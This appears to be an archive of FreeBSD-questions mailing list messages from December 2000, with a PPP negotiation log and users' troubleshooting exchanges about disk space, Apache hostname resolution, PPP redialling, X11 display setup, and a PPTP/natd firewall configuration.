16:20:02  tun0: LCP:  MAGICNUM[6] 0x3cfa1cc7
16:20:02  tun0: LCP:  AUTHPROTO[5] 0xc223 (CHAP 0x05)
16:20:03  tun0: LCP: deflink: RecvConfigReq(3) state = Req-Sent
16:20:03  tun0: LCP:  ACCMAP[6] 0x000a0000
16:20:03  tun0: LCP:  MAGICNUM[6] 0x00bd52d0
16:20:03  tun0: LCP:  PROTOCOMP[2]
16:20:03  tun0: LCP:  ACFCOMP[2]
16:20:03  tun0: LCP:  CALLBACK[3] CBCP
16:20:03  tun0: LCP: deflink: SendConfigRej(3) state = Req-Sent
16:20:03  tun0: LCP:  CALLBACK[3] CBCP
16:20:05  tun0: LCP: deflink: SendConfigReq(1) state = Req-Sent
16:20:05  tun0: LCP:  ACFCOMP[2]
16:20:05  tun0: LCP:  PROTOCOMP[2]
16:20:05  tun0: LCP:  ACCMAP[6] 0x00000000
16:20:05  tun0: LCP:  MRU[4] 1500
16:20:05  tun0: LCP:  MAGICNUM[6] 0x3cfa1cc7
16:20:05  tun0: LCP:  AUTHPROTO[5] 0xc223 (CHAP 0x05)
16:20:06  tun0: LCP: deflink: RecvConfigReq(4) state = Req-Sent
16:20:06  tun0: LCP:  ACCMAP[6] 0x000a0000
16:20:06  tun0: LCP:  MAGICNUM[6] 0x00bd52d0
16:20:06  tun0: LCP:  PROTOCOMP[2]
16:20:06  tun0: LCP:  ACFCOMP[2]
16:20:06  tun0: LCP:  CALLBACK[3] CBCP
16:20:06  tun0: LCP: deflink: SendConfigRej(4) state = Req-Sent
16:20:06  tun0: LCP:  CALLBACK[3] CBCP
16:20:08  tun0: LCP: deflink: SendConfigReq(1) state = Req-Sent
16:20:08  tun0: LCP:  ACFCOMP[2]
16:20:08  tun0: LCP:  PROTOCOMP[2]
16:20:08  tun0: LCP:  ACCMAP[6] 0x00000000
16:20:08  tun0: LCP:  MRU[4] 1500
16:20:08  tun0: LCP:  MAGICNUM[6] 0x3cfa1cc7
16:20:08  tun0: LCP:  AUTHPROTO[5] 0xc223 (CHAP 0x05)
16:20:09  tun0: LCP: deflink: RecvConfigReq(5) state = Req-Sent
16:20:09  tun0: LCP:  ACCMAP[6] 0x000a0000
16:20:09  tun0: LCP:  MAGICNUM[6] 0x00bd52d0
16:20:09  tun0: LCP:  PROTOCOMP[2]
16:20:09  tun0: LCP:  ACFCOMP[2]
16:20:09  tun0: LCP: deflink: SendConfigAck(5) state = Req-Sent
16:20:09  tun0: LCP:  ACCMAP[6] 0x000a0000
16:20:09  tun0: LCP:  MAGICNUM[6] 0x00bd52d0
16:20:09  tun0: LCP:  PROTOCOMP[2]
16:20:09  tun0: LCP:  ACFCOMP[2]
16:20:09  tun0: LCP: deflink: State change Req-Sent -->Ack-Sent
16:20:11  tun0: LCP: deflink: SendConfigReq(1) state = Ack-Sent
16:20:11  tun0: LCP:  ACFCOMP[2]
16:20:11  tun0: LCP:  PROTOCOMP[2]
16:20:11  tun0: LCP:  ACCMAP[6] 0x00000000
16:20:11  tun0: LCP:  MRU[4] 1500
16:20:11  tun0: LCP:  MAGICNUM[6] 0x3cfa1cc7
16:20:11  tun0: LCP:  AUTHPROTO[5] 0xc223 (CHAP 0x05)
16:20:12  tun0: LCP: deflink: RecvConfigReq(6) state = Ack-Sent
16:20:12  tun0: LCP:  ACCMAP[6] 0x000a0000
16:20:12  tun0: LCP:  MAGICNUM[6] 0x00bd52d0
16:20:12  tun0: LCP:  PROTOCOMP[2]
16:20:12  tun0: LCP:  ACFCOMP[2]
16:20:12  tun0: LCP: deflink: SendConfigAck(6) state = Ack-Sent
16:20:12  tun0: LCP:  ACCMAP[6] 0x000a0000
16:20:12  tun0: LCP:  MAGICNUM[6] 0x00bd52d0
16:20:12  tun0: LCP:  PROTOCOMP[2]
16:20:12  tun0: LCP:  ACFCOMP[2]
16:20:14  tun0: LCP: deflink: LayerFinish
16:20:14  tun0: LCP: deflink: State change Ack-Sent --> Stopped
16:20:14  tun0: LCP: deflink: State change Stopped --> Closed
16:20:14  tun0: LCP: deflink: State change Closed --> Initial
16:20:14  tun0: Phase: deflink: Disconnected!
16:20:14  tun0: Phase: deflink: Connect time: 17 secs: 297 octets in, 467
octets out
16:20:14  tun0: Phase:  total 44 bytes/sec, peak 61 bytes/sec on Wed Dec
20 16:20:14 2000
16:20:15  tun0: Phase: 326 -> 598: Dropped session control
16:20:15  tun0: Phase: deflink: lcp -> closed
16:20:15  tun0: Phase: bundle: Dead
16:20:15  tun0: Phase: PPP Terminated (normal).




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On Wed, 20 Dec 2000 00:02:49 -0500  modF wrote:
 +------------------
 | Greetings,
 | 	I have been searching the site and the FAQ's for information on a 
 | "typical" installation.  My question is what is the recommended space 
 | requirement for BSD?  I have an OLD (P133) sitting here collecting 
 | dust,  all of the hardware is supported from the list.  But I can not find 
 | anything about a space requirement. I have a few drives sitting around, 1.2 
 | gig, 500 meg, and a few 2gig drives, so there is a bit of junk variety.
 +------------------

A minimalist but usable system can fit in 1M or 2M.  A quite usable
system with a GUI (X11+ your choice of window manager) fits easily
in less than 500M. 


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>says "... [alert] mod_unique_id: unable to
>getbyhostname("cerberus.seektruth.org")".  Obviously it wouldn't be able to
>do anything with my hostname since I'm not on the internet.  What is it
>trying to do and why?

Trying to resolve your hostname.  Have you tried adding your hostname
and IP to /etc/hosts?  I removed mine and tried to restart Apache, and
it failed exactly the same way.  -d



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Just a guess, but maybe add:

	<ip>	cerberus.seektruth.org

To /etc/hosts... 

getbyhostname() looks like its trying to get your IP address, and when it is 
not able too, it won't load. since you say this is 'fresh out of the box' it 
makes me wonder wether or not you have this.. a fresh install wont.

--jwp 

On Tuesday 19 December 2000 23:38, David Syphers wrote:
> On a fresh 4.2-R system, ipfw configured but everything allowed for
> lo0.  The system is _not_ connected to the internet at this point.  I
> installed apache 1.3.14 from the ports collection.  The only thing I
> changed in httpd.conf was ServerName, setting it to "127.0.0.1" since this
> I'm just using this for local testing right
> now.  '/usr/local/sbin/apachectl start' results in the oh-so-useful 'httpd
> could not be started' message.  The syntax of the conf files checks out
> okay.  I looked at FreeBSD.layout in /usr/ports/www/apache13 and it looked
> reasonable, looked at httpd -V and it looked reasonable
> ('HTTPD_ROOT="/usr/local"' and httpd is expected in
> "etc/apache/httpd.conf", which is where it is).  Apache's error log file
> says "... [alert] mod_unique_id: unable to
> getbyhostname("cerberus.seektruth.org")".  Obviously it wouldn't be able to
> do anything with my hostname since I'm not on the internet.  What is it
> trying to do and why?
>
> I looked at the mailing list archives for this question because I think the
> same thing happened to me a year ago, the last time I tried to install
> apache.  Many people asked about this, few got replies.  I checked things
> the few replies mentioned: looked at the apachectl script, checked log
> paths, checked ServerName, checked located vs. expected location for the
> config files.  Nothing helped.
>
> This system is out-of-the-box 4.2-R/apache 1.3.14 except for the fact that
> I have ipfw (halfway) configured.  However, everything is allowed for lo0,
> and ipfw shouldn't mess at all with just _starting_ apache.  Suggestions
> would be much appreciated.  I would very much like to move SeekTruth.org
> from my WinNT laptop to a dedicated FreeBSD server  :)
>
> Please cc: to me, I'm not on -questions.
>
>
> -David
>
>
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On Wed, Dec 20, 2000 at 05:06:54AM -0000, Lawson Andrew-ALAWSON1 wrote:
> 	Has anybody any idea how I could automate the process of re-dialling
> and restarting downloads, preferably so that I can install ports with the
> usual mak install and without having to download things seperately etc.....
man ppp
look for -ddial OR -auto

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On Tue, Dec 19, 2000 at 06:40:30PM -0600, ktb wrote:
> On Tue, Dec 19, 2000 at 05:56:15PM -0600, lanehol@bellsouth.net wrote:
> > I just did a full install of FreeBSD 3.1 from the cd's and I can't locate
> > (or invoke) lynx.  I installed all of the ports on the cd ... how do I find
> > and then invoke lynx?
> > 
> > thanks,
> > lane
> > P.S.  I ain't as dumb as I seem ... just worn out from the installation
> > 
> 
> 	I just installed 4.2 and it isn't on there.  Have you run
> 	"locate lynx" or a "find" command to search for it?  You might
> 	have to build the port.
> 	kent
You have to install it from the port with 4.2.
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* modF <modf@home.com> [20001220 08:08]: writing on the subject 'HD Space requirements?'
=>Greetings,
=>	I have been searching the site and the FAQ's for information on a 
=>"typical" installation.  My question is what is the recommended space 
=>requirement for BSD?  I have an OLD (P133) sitting here collecting 
=>dust,  all of the hardware is supported from the list.  But I can not find 
=>anything about a space requirement. I have a few drives sitting around, 1.2 
=>gig, 500 meg, and a few 2gig drives, so there is a bit of junk variety.

I am running quite a number of apps (not games) on a 2GB drive. I even
have the srcs on it, runs X Windows and here is the usage as it stands...

wash:/usr/home/wash$ df -h
Filesystem    Size   Used  Avail Capacity  Mounted on
/dev/ad0s2a    48M    30M    15M    66%    /
/dev/ad0s2f   1.7G   1.4G   175M    89%    /usr
/dev/ad0s2e    53M    10M    39M    20%    /var

My swap takes 240MB (but that is only because I have little space) instead
of 320M (Memory X2).
So you're pretty lucky you can run with maybe 4 disks and even have games
on ;-). Typically you do not need more than 50MB for / as you can see
mine and in my view you've more than you need.

HTH


=>
=>Thanks for the help!
=>--Mike
=>
=>
=>
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In the last episode (Dec 19), Booo Bo said:
> While running configure for glib-1.3, I got this err:
> 
> configure error: *** No iconv() implementation found in C library or 
> libiconv

Try installing ports/converters/iconv, and see if that helps.

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* Lawson Andrew-ALAWSON1 <Andrew.Lawson@motorola.com> [20001220 08:12]: writing on the subject 'Incremental Downloads'
=>Hi all
=>	 my problem is that my net connection cuts out every 2 hours. When I
=>need to download a large file I have two options;
=>a)Use gftp with the ability to resume partial downloads (perhaps other ftp
=>clients allow this)
=>b)Use something like Gozilla on a windows machine
=>
=>	Has anybody any idea how I could automate the process of re-dialling
=>and restarting downloads, preferably so that I can install ports with the
=>usual mak install and without having to download things seperately etc.....

That might be a bit involving with very little chances of success. Maybe
you could grab the CDs from freebsdmall? The peace of mind the CDs will
give you is worth the amount, which is very minimal.


-Wash

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I think this might help you out some, its my two systems, and for what they 
do, they work great :P

On my LAN, I have a 66mhz pentium machine. With a 500MB scsi hdd and 4.1.1-R, 
it runs Samba, acts as my internet gateway, firewalls my network, nat's 
certain ports, runs fetchmail to download e-mail from all of my family's 
e-mail accounts, runs cucipop for pop3 over the network, sendmail with smart 
relaying, apache for my local webpages, and runs three printers (all which 
get pretty heavy usage). Now I am sure I am missing something, but even with 
all of this:

	bash$ df -h
	Filesystem    Size   Used  Avail Capacity  Mounted on
	/dev/da0s1a   388M   137M   220M    38%    /
	procfs        4.0K   4.0K     0B   100%    /proc

It also has various other things installed including:

	bash$ ls -l /var/db/pkg
	drwxr-xr-x  2 root  wheel  512 Nov 20 07:35 bash-1.14.7
	drwxr-xr-x  2 root  wheel  512 Nov 20 06:07 bind-8.2.2.p5
	drwxr-xr-x  2 root  wheel  512 Jan  3  1980 cucipop-1.31  

This machine is basically built for a server. I installed the doc's, man 
pages and the base binaries. I have only gotten this system up above 50% disk 
usage after downloading a huge amount of e-mail, and when I had my mp3's 
stored over. 

Finally, my desktop is 4.2-S. It is a 233mhz pentium machine. With an 8.4gb 
IDE hdd, it does everything a destkop machine should. I run X and KDE 2.0.1 
(which is quite nice i might add) and various other things including:

	jwpauler@wks01: ~> ls /var/db/pkg
	BitchX-1.0c17                   kdemultimedia-2.0_1
	LPRng-3.6.26                    kdenetwork-2.0
	Mesa-3.2.1_1                    kdesupport-2.0
	ORBit-0.5.3_1                   kdeutils-2.0
	a2ps-a4-4.13                    kicq-1.0.0
	autoconf-2.13                   koffice-2.0
	automake-1.4                    libaudiofile-0.1.9
	bsdi-netscape-navigator-4.75    libghttp-1.0.7
	bzip2-1.0.1                     libmikmod-3.1.9
	cvsup-bin-16.1                  libogg-20001018
	esound-0.2.19                   libproplist-0.10.1
	fnlib-0.5                       libtool-1.3.4_1
	freetype-1.3.1                  libungif-4.1.0b1
	fvwm-1.24r                      libvorbis-20001018
	gdk-pixbuf-0.9.0                libwww-5.3.1
	gettext-0.10.35                 libxml-1.8.10
	glib-1.2.8                      linuxdoc-1.1
	gmake-3.79.1                    m4-1.4
	mkcatalog-1.0			netscape-wrapper-2000.07.07
	gtk-1.2.8                       png-1.0.8_1
	iconv-2.0_1                     qt-1.45
	icqlib-1.0.0                    qt-2.2.2
	imlib-1.9.8.1                   tcl-8.3.1
	iso8879-1986                    teTeX-1.0.7
	jade-1.2.1                      tiff-3.5.5
	jpeg-6b                         tk-8.3.1
	kde-2.0                         unzip-5.41
	kdebase-2.0                     uulib-0.5.13
	kdegames-2.0                    xanim-2.80.2
	kdegraphics-2.0                 xmms-gnome-1.2.4
	kdelibs-1.1.2_2                 xpm-3.4k
	kdelibs-2.0                     ymessenger-0.93.0

Even with all of this, all of my documents and mp3's, including full sources, 
I have:

	jwpauler@wks01: ~> df -h
	Filesystem    Size   Used  Avail Capacity  Mounted on
	/dev/ad0s1a   1.6G    23M   1.5G     1%    /
	/dev/ad0s1f   2.9G   623M   2.1G    23%    /usr
	/dev/ad0s1e   2.9G   3.1M   2.7G     0%    /var
	procfs        4.0K   4.0K     0B   100%    /proc      

So as you can see, it just depends on what you are going to be using it as. 
If you do alot of desktop work, mp3's and such, go with a bigger drive, or 
just save room to add another drive later on.

-jwp
	        
On Tuesday 19 December 2000 23:45, Chris Fedde wrote:
> On Wed, 20 Dec 2000 00:02:49 -0500  modF wrote:
>  +------------------
>
>  | Greetings,
>  | 	I have been searching the site and the FAQ's for information on a
>  | "typical" installation.  My question is what is the recommended space
>  | requirement for BSD?  I have an OLD (P133) sitting here collecting
>  | dust,  all of the hardware is supported from the list.  But I can not
>  | find anything about a space requirement. I have a few drives sitting
>  | around, 1.2 gig, 500 meg, and a few 2gig drives, so there is a bit of
>  | junk variety.
>
>  +------------------
>
> A minimalist but usable system can fit in 1M or 2M.  A quite usable
> system with a GUI (X11+ your choice of window manager) fits easily
> in less than 500M.
>
>
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The evidence suggests that "Mike Batchelor" said:

> Hey there
>
> It seems that all you problems would be solved if you just let them
access
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>
> Mike
>

[sniped my first post]

err...no

I don't like anonymous logins.  Unacceptable.

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Not so :P

On my 4.1.1-R gateway, and i've used this since 4.0-C, it has worked quite 
well. My ISP is a small, hometown I guess you could say, operation. With not 
enough bandwidth to support the mass number of users that want access, 
sometimes connections just go *poof* and go dead. Redailing can sometimes 
lead to a busy signal, and can be exahustive (?) if you do it enough times. 
That is way, on my gtw, I start ppp like this:

	bash$ cat /etc/rc.conf | grep ppp
	ppp_enable="YES"
	ppp_mode="ddial"
	ppp_nat="YES"
	ppp_profile="fais"

This results in a process similar to:

	63  ??  Ss    37:18.61 /usr/sbin/ppp -quiet -ddial -nat fais

These options work well, including the -ddial. Upon your connection going 
dead, it will pickup and redial. Most applications will wait for the link to 
come back up and continue from where they are. They only stipulation is, that 
sometimes, if the link is dead for more than 2 minutes, the applications 
report that they cannot connect. However, I have had times when, with an IRC 
session, I'll be typing, here the connection get dropped, reconnect and see 
the text flash by, as if it was buffered on the other end.

--jwp

On Tuesday 19 December 2000 23:30, Odhiambo Washington wrote:
> * Lawson Andrew-ALAWSON1 <Andrew.Lawson@motorola.com> [20001220 08:12]:
> writing on the subject 'Incremental Downloads' =>Hi all
> =>	 my problem is that my net connection cuts out every 2 hours. When I
> =>need to download a large file I have two options;
> =>a)Use gftp with the ability to resume partial downloads (perhaps other
> ftp =>clients allow this)
> =>b)Use something like Gozilla on a windows machine
> =>
> =>	Has anybody any idea how I could automate the process of re-dialling
> =>and restarting downloads, preferably so that I can install ports with the
> =>usual mak install and without having to download things seperately
> etc.....
>
> That might be a bit involving with very little chances of success. Maybe
> you could grab the CDs from freebsdmall? The peace of mind the CDs will
> give you is worth the amount, which is very minimal.
>
>
> -Wash
>
> --
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> wash@iconnect.co.ke 5th Flr Furaha Plaza
> Tel: 254 11 222604 Nkrumah Rd.,
> Fax: 254 11 222636 PO Box 83613 MOMBASA, KE.
>
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> a great deal longer. -Oliver Wendell Holmes
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Hi all!!!
My computer is equipped with 2 video cards, one is an on board 
NEC PC-98x1 and the other is a PCI Matrox MGA Millenium card. 
When I run X-window, it automatically switches to Matrox card and 
when I finish using x-window it switches back to the on board card. 
So, I have to plug and unplug the monitor cable between those two 
cards. Is it possible to  run both text and x-window modes using a 
single card, preferrably the Matrox one?
(I had to do the similar thing when I was using windows95 in the 
same computer).

TIA,
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modF <modf@home.com> types:
> Greetings,
> 	I have been searching the site and the FAQ's for information on a 
> "typical" installation.  My question is what is the recommended space 
> requirement for BSD?  I have an OLD (P133) sitting here collecting 
> dust,  all of the hardware is supported from the list.  But I can not find 
> anything about a space requirement. I have a few drives sitting around, 1.2 
> gig, 500 meg, and a few 2gig drives, so there is a bit of junk variety.

The problem is that "typical" is pretty much a meaningless
term. Typical all-in-one network server? Typical developer desktop? Typical
end-user desktop? Typical web server? Etc.

You can install a usable system on 500Meg. 1.2 gig will be ok for a
for an end user workstation, or a "developer" workstation installation
so you can look over the sources and play with a compiler. That might
be a little tight if you want to do develop your own stuff on the
system, though.

	<mike
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* Rachmat Hidajat <rachmat@canada.com> [001219 22:27] wrote:
> Hi all!!!
> My computer is equipped with 2 video cards, one is an on board 
> NEC PC-98x1 and the other is a PCI Matrox MGA Millenium card. 
> When I run X-window, it automatically switches to Matrox card and 
> when I finish using x-window it switches back to the on board card. 
> So, I have to plug and unplug the monitor cable between those two 
> cards. Is it possible to  run both text and x-window modes using a 
> single card, preferrably the Matrox one?
> (I had to do the similar thing when I was using windows95 in the 
> same computer).

Some motherboards allow you to disable the onboard video via a
jumper or BIOS configuration, I would check your motherboard docs
and BIOS setup.

It's also possible to tell XFree to use your onboard video controller
by giving it explicit instructions via the XFree config file.

Lastly you could look into getting a monitor switch so that you
don't need to fiddle with the cables when going from text<->video.

best of luck,
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FWIW, I've built a few (command line) gateway systems with geriatric
386's / 120Mb hard drives / FreeBSD 3.2. Space is fairly tight but
there's enough for cucipop & apache .... never been able to do it with
4.x though


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> modF <modf@home.com> types:
> > Greetings,
> > I have been searching the site and the FAQ's for information on a
> > "typical" installation.  My question is what is the recommended space
> > requirement for BSD?  I have an OLD (P133) sitting here collecting
> > dust,  all of the hardware is supported from the list.  But I can not
find
> > anything about a space requirement. I have a few drives sitting around,
1.2
> > gig, 500 meg, and a few 2gig drives, so there is a bit of junk variety.
>
> The problem is that "typical" is pretty much a meaningless
> term. Typical all-in-one network server? Typical developer desktop?
Typical
> end-user desktop? Typical web server? Etc.
>
> You can install a usable system on 500Meg. 1.2 gig will be ok for a
> for an end user workstation, or a "developer" workstation installation
> so you can look over the sources and play with a compiler. That might
> be a little tight if you want to do develop your own stuff on the
> system, though.
>
> <mike
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<html><DIV>Dear Sir,</DIV>
<DIV>&nbsp;</DIV>
<DIV>I am sorry to&nbsp; bother you. Due to I spend a lot of time for configuring X-Windows and I couldn't success on it. First of all, I used "SuperProbe" to get the details of graphic adapter. Secondly, I use "/usr/X11R6/bin/xf86config" to setup my X-Windows configuration. After that, I ran the "startx" command. But the system will be held, and&nbsp; I have to turn my computer power off. Even though I follow the instructions from <A href="http://www.freebsd.org/handbook/x-install.html">http://www.freebsd.org/handbook/x-install.html</A> . It still doesn't work.</DIV>
<DIV>However, I think my graphic adapter's specification should be as: Chipset: ATI Rage Mobility, Memory: 8192 K bytes. But I think I really did something wrong. As a result, could you please kindly guide me how to solve this problem? Thank you very much for your kindly help!</DIV>
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I would FIRST check your BIOS. 

On my Dell system here, and I have seen this on many other systems, including 
old, old, OLD, ones :P, they have an option to disable on-board stuff. Such 
as, on this machine, I can disable the on board video, sound, kbd (I guess 
incase I want no-kbd or USB) and even the mouse port.

When I built a system for a buddy of mine, that hung me up for a couple of 
hours. I put a sound card in and it had a cheap one on the motherboard. I 
thought the system would choose the new one, over the motherboard. In turn, 
neither worked and it continousuly barked about IRQ conflicts. (This was a 
windows machine).

I got a hint from someone and upon chaning it and restarting, everything went 
perfect right away.

-jwp

On Wednesday 20 December 2000 00:36, Alfred Perlstein wrote:
> * Rachmat Hidajat <rachmat@canada.com> [001219 22:27] wrote:
> > Hi all!!!
> > My computer is equipped with 2 video cards, one is an on board
> > NEC PC-98x1 and the other is a PCI Matrox MGA Millenium card.
> > When I run X-window, it automatically switches to Matrox card and
> > when I finish using x-window it switches back to the on board card.
> > So, I have to plug and unplug the monitor cable between those two
> > cards. Is it possible to  run both text and x-window modes using a
> > single card, preferrably the Matrox one?
> > (I had to do the similar thing when I was using windows95 in the
> > same computer).
>
> Some motherboards allow you to disable the onboard video via a
> jumper or BIOS configuration, I would check your motherboard docs
> and BIOS setup.
>
> It's also possible to tell XFree to use your onboard video controller
> by giving it explicit instructions via the XFree config file.
>
> Lastly you could look into getting a monitor switch so that you
> don't need to fiddle with the cables when going from text<->video.
>
> best of luck,

-- 

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Thanks for all the suggestions. A kvm switch is on the way, but that has
nothing to do with the problem at hand.
Running xvidtune fixes the problem just fine, thankyou, except if I reboot,
then I have to run it again. Maybe there is a file that the settings can be
saved in?

--
Chip


Mike Batchelor wrote:

> Hey Chip,
>
> if you want to avoid all that changing of monitor adjustments, open xvidtune
> under
> X, click on AUTO and adjust the left and right settings to your desire.
> Then click NEXT for the next resolution. this should solve your problem
>
> Mike!
>
> ----- Original Message -----
> From: "Otter" <otterr@telocity.com>
> To: "Chip" <chip@wiegand.org>; <freebsd-questions@FreeBSD.ORG>
> Sent: Tuesday, December 19, 2000 2:49 AM
> Subject: RE: Shared Display problem
>
> > Do you use one more than the other? Maybe you should just consider
> > viewing both on one monitor. VNC is an option for going either way, or
> > if you want to run NT, you can still get an X server up and do all
> > your BSD work from that machine at the same time. I understand what a
> > KVM does, but personally I think they're a pain in the ass (and prefer
> > to live without one).
> > -Otter
> >
> >
> > }-----Original Message-----
> > }From: chip@FreeBSD.ORG [mailto:chip@FreeBSD.ORG]On Behalf Of Chip
> > }Sent: Tuesday, December 19, 2000 12:22 AM
> > }To: freebsd-questions@FreeBSD.ORG
> > }Subject: Shared Display problem
> > }
> > }
> > }I have one monitor shared by two machines, this one - fbsd4.2, and a
> > }winnt machine. When I use it with fbsd I get it all set so it is
> > }centered
> > }in the monitor, then when I change to NT I have to readjust
> > }the monitor
> > }settings to recenter it, then back again when I switch back to fbsd.
> > }Is there a way to fix this perminantly?
> > }
> > }--
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> > }
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On Tue, Dec 19, 2000 at 11:00:13PM -0800, Chip wrote:
> Thanks for all the suggestions. A kvm switch is on the way, but that has
> nothing to do with the problem at hand.
> Running xvidtune fixes the problem just fine, thankyou, except if I reboot,
> then I have to run it again. Maybe there is a file that the settings can be
> saved in?
> 

	You should be able to stick it in /etc/XF86Config I would think.
	kent

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I'm having a problem loading DBI under mod_perl; I think it's related to the
mod_perl port, but I'm not entirely sure.

I'm using 3.5S (as of a couple days ago), apache-1.3.14, p5-Apache-1.24, and
p5-DBI-1.14.

When I try to use 'PerlModule DBI' in my httpd conf, apachectl config test
returns the following:
[root@jupiter ~]$ apachectl configtest
Syntax error on line 1117 of /usr/local/etc/apache/httpd.conf:
Can't load
'/usr/local/lib/perl5/site_perl/5.005/i386-freebsd/auto/DBI/DBI.so' for
module DBI:
/usr/local/lib/perl5/site_perl/5.005/i386-freebsd/auto/DBI/DBI.so: Undefined
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BEGIN failed--compilation aborted at
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From what I've been able to read, it appears that there is a version
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Anyone have any ideas?

TIA
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Hi,

The stunnel (SSL wrapper, /usr/ports/security/stunnel) has a transparent
mode feature, option -T. In this mode the stunnel passes packets
to a wrapped service with unchanged source address. The stunnel docs
say it works with linux. Is it possible to get this option working
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Thanks in advance for any suggestions

TIA

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I recently added an old tape drive to my system. It appears to be a
Colorado drive ( or clone ), uses 'Colorado QIC-3020 DT-1400
680mb/1360mb compressed' type tapes. I have it connected to the
floppy cable, the drive appears to work, physically. Just what do I
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Good day.
I have a same dificult problem with tooling VPN based package poptop. I uses
FreeBDS 3.1 operation system. Client is VPN Microsoft. Connection in the
Local Aria Network was succesful.
FreeBSD is connected with Internet by PPP with fixed ip adress x.x.x.x
Client computer is connected whith Internet by dual-up with fixed ip-adress
y.y.y.y
Then I tried to connect through Internet . The messages "645 Dial-Up
Networking could not complete the connection to the server. Check your
configuration and try connection again." appeard after the check username
password.
My debug information:

 mail pptpd[345]: GRE: xmit failed from decaps_hdlc: Permission denied
 mail pptpd[345]: CTRL: PTY read or GRE write failed (pty,gre)=(4,5)
 mail pppd[346]: Modem hangup, connected for 1 minutes
 mail pppd[346]: Connection terminated, connected for 1 minutes
 mail pppd[348]: pppd 2.3.5 started by admin, uid 0
 mail pppd[348]: Connect: ppp0 <--> /dev/ttyp1
 mail pptpd[347]: GRE: xmit failed from decaps_hdlc: Permission denied
 mail pptpd[347]: CTRL: PTY read or GRE write failed (pty,gre)=(4,5)

..........................
..........................

 MGR: Couldn't create host socket
 pppd 2.3.5 started by admin, uid 0
 Connect: ppp0 <--> /dev/ttyp1
 LCP: timeout sending Config-Requests
 Connection terminated, connected for 1 minutes
 GRE: read(fd=4,buffer=804d218,len=8196) from PTY failed: status = 0 error =
No
 CTRL: PTY read or GRE write failed (pty,gre)=(4,5)




Configuration files are wrote below:
 /etc/rc.conf
ifconfig_ed1="inet 10.4.1.1  netmask 255.255.255.0"
defaultrouter="NO"
network_interfaces="ed1 lo0"
hostname="mail.oggi.spb.ru"
keymap=ru.koi8-r
keychange="61 ^[[K"
scrnmap=koi8-r2cp866
font8x16=cpp866b-8x16
font8x14=cpp866-8x14
font8x8=cp866-8x8
firewall_enable = "YES"
natd_enable="YES"
natd_interface="tun0"
natd_flags="-dynamic"
ppp_enable="YES"
ppp_mode="auto"
ppp_nat="YES"

/etc/rc.firewall
   fwcmd="/sbin/ipfw"

    $fwcmd -f flush
#################################################
#    Allow all for test
#################################################
    $fwcmd add allow all from any to any

    $fwcmd add pass GRE from any to an

    # Divert all packets through the tunnel interface.
    $fwcmd add divert natd all from any to any via tun0

    # Allow all data from my network card and localhost.  Make sure you
    # change your network card (mine was fxp0) before you reboot.  :)
    $fwcmd add allow ip from any to any via lo0
    $fwcmd add allow ip from any to any via ed1

    #Allow all data from warehouse
   $fwcmd add allow all from y.y.y.y to any
       # Allow all connections that I initiate.
    $fwcmd add allow tcp from any to any out xmit tun0 setup

    # Once connections are made, allow them to stay open.
    $fwcmd add allow tcp from any to any via tun0 established

    # Everyone on the internet is allowed to connect to the following
    # services on the machine.  This example shows that people may connect
    # to ssh and apache
   $fwcmd add allow tcp from any to any 25 setup

    $fwcmd add reset log tcp from any to any 113 in recv tun0
.
    $fwcmd add allow udp from any to 212.44.130.6 53 out xmit tun0
    $fwcmd add allow udp from 212.44.130.6 53 to any in recv tun0

    $fwcmd add 65435 allow icmp from any to any


    $fwcmd add 65435 deny log ip from any to any


/etc/ppp/ppp.conf

default:
    set redial 1 0
    set filter dial 0 deny udp src eq 53
    set filter dial 1 deny udp dst eq 53
    set filter dial 2 permit 0/0 0/0
internet:
    set device /dev/cuaa0
    set speed 115200
    disable pred1
    deny pred1
    disable lqr
    deny lqr
    set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" AT OK-AT-OK
ATE1Q0 OK
    set authname name
   set authkey password
   set phone 123456
   set timeout 600
    set openmode active
    accept chap
    set ifaddr x.x.x.x 127.2.2.2/0 255.255.255.0
    add 0 0 127.2.2.2
/etc/ppp/options
debug
name x.x.x.x
lock
require-chap
auth
proxyarp

/etc/ppp/chap-secrets

billy x.x.x.x bob *

/etc/pptpd.conf

speed 115200
options /etc/ppp/options
debug




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> I think this might help you out some, its my two systems, and for what they 
> do, they work great :P
> 
> On my LAN, I have a 66mhz pentium machine. With a 500MB scsi hdd and 4.1.1-R, 
> it runs Samba, acts as my internet gateway, firewalls my network, nat's 
> certain ports, runs fetchmail to download e-mail from all of my family's 
> e-mail accounts, runs cucipop for pop3 over the network, sendmail with smart 
> relaying, apache for my local webpages, and runs three printers (all which 
> get pretty heavy usage)....<snip>

Now that is very impressive!
I am setting up a machine to do more or less the same thing (well a few
less printers) - but I have the luxury of a P120 with a 4 Gig disk, 64MB edo ram ..
.. old technology, don't knock it :)

Cliff

mm, maybe I don;t need that new whizzy fizzy PC for christmas after
all..



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Due to my somewhat confusing post about getting help with telnet redirects 
I have decided to put a more extensive description of my setup and problem 
for review by the people subscribing to this list.

I manage two (2) FreeBSD gateways on seperate locations, both handling an 
internal 192.168.*.* network - the traffic is is tunnled using pipsecd 
between these networks.

Network topology
--------------------
192.168.1.*----192.168.1.254(FREEBSD1)A.B.C.D---(I N T E R N E 
T)---E.F.G.H(FREEBSD2)192.168.10.254---192.168.10.10(TELNETMACHINE)


Problem description
------------------------

I want to allow people outside on the internet telnet access to the machine 
above called TELNETMACHINE. Both FreeBSD gateways are using ipfw+natd for 
NAT and Firewalling. I have tried using the directives: -redirect_port tcp 
192.168.10.10:23 8888 and -redirect_port udp 192.168.10.10:23 8888 on the 
FREEBSD2 machine then tried to telnet into E.F.G.H on port 8888 (while 
using tcpdump on both the external and internal interface on FREEBSD) but I 
get no response. And the tcpdump shows the telnet from outside reaching 
FREEBSD2 but there is no activity what so ever on the internal interface - 
which in my opinion shows that I am making some fundamental error trying to 
get natd to behave and redirect the telnet session. I am inclined to think 
that I am the one being a moron here and that it's not due to a bug in 
natd.

Any pointers? I was thinking about giving up and using bounce until I saw 
that it's only able to "bounce" tcp and not udp packets. There gotta be 
someone out there with a similar problem like mine that has been solved.. 
right?


Thanks in advance...

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Is this possible to setup Multi link PPP on FreeBSD 2.2.6?
What soft need for this?
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Hi,

Did anybody have the following messages:
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What does it mean?

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On Tue, 19 Dec 2000 13:49:47 -0800
Eyal Soha <esoha@cisco.com> wrote:

> All that only works with SCSI, right?  How about an all IDE
> solution?
> I was able to use sox and burncd to write wave files to the CD.  Can
> I
> do a cd-to-cd copy with an IDE drive?
> 
what stupid idea is to buy an ide cd writer ;)


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Oh, it'll do it on the smallest of a budget :P

bash$ /sbin/dmesg                                                             
